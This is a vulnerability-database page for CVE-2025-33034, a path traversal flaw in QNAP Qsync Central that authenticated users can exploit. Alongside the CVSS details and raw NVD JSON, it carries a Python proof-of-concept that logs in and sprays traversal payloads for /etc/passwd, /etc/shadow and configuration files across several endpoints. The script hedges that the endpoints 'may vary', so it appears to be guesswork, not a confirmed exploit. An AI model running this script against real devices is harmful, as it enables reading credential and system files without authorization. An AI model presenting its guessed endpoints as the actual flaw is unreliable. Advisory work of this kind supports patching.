Security Vulnerability Report
中文
CVE-2025-33034 CVSS 6.5 MEDIUM

CVE-2025-33034

Published: 2025-10-03 18:15:35
Last Modified: 2025-10-07 15:04:46

Description

A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data. We have already fixed the vulnerability in the following version: Qsync Central 5.0.0.1 ( 2025/07/09 ) and later

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:* - VULNERABLE
QNAP Qsync Central < 5.0.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-33034 - QNAP Qsync Central Path Traversal PoC # Vulnerability: Path Traversal allowing authenticated users to read arbitrary files # Affected: Qsync Central versions prior to 5.0.0.1 # Author: Security Researcher import requests TARGET_URL = "https://target-qnap:8080" USERNAME = "valid_user" PASSWORD = "valid_password" # Step 1: Authenticate to Qsync Central to obtain a valid session session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } # Perform login (endpoint may vary based on Qsync Central version) login_response = session.post( f"{TARGET_URL}/cgi-bin/authLogin.cgi", data=login_payload, verify=False ) print(f"[*] Login Status: {login_response.status_code}") # Step 2: Exploit path traversal to read arbitrary files # The traversal sequence allows escaping the intended directory # to access sensitive system files on the QNAP device traversal_payloads = [ "../../../../etc/passwd", "../../../../etc/shadow", "../../../../etc/config/qsync.conf", "../../../../../../mnt/HDA_ROOT/.config/qsync/qsync.conf", "../../../../../etc/httpd.conf", "..%2F..%2F..%2F..%2Fetc%2Fpasswd", "....//....//....//....//etc/passwd" ] for payload in traversal_payloads: print(f"\n[*] Trying payload: {payload}") # The vulnerable endpoint accepts a file path parameter # that does not properly sanitize traversal sequences exploit_params = { "path": payload, "filename": payload, "file": payload, "dir": payload } # Try common vulnerable endpoints in Qsync Central endpoints = [ "/cgi-bin/qsync/qsync.cgi", "/qsync/api/v1/file/download", "/cgi-bin/qsync/fileRead.cgi", "/api/v1/qsync/file" ] for endpoint in endpoints: try: response = session.get( f"{TARGET_URL}{endpoint}", params={"path": payload}, verify=False, timeout=10 ) if response.status_code == 200 and ("root:" in response.text or "admin" in response.text): print(f"[+] SUCCESS! Endpoint: {endpoint}") print(f"[+] File content:\n{response.text[:500]}") break except Exception as e: pass print("\n[*] Exploitation complete. Upgrade to Qsync Central >= 5.0.0.1")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-33034", "sourceIdentifier": "[email protected]", "published": "2025-10-03T18:15:34.763", "lastModified": "2025-10-07T15:04:46.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability has been reported to affect Qsync Central. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQsync Central 5.0.0.1 ( 2025/07/09 ) and later"}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qnap:qsync_central:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.2.0.0", "versionEndExcluding": "5.0.0.1", "matchCriteriaId": "1CCFCB2F-05FA-460B-BD0D-966E7CE58D8A"}]}]}], "references": [{"url": "https://www.qnap.com/en/security-advisory/qsa-25-34", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}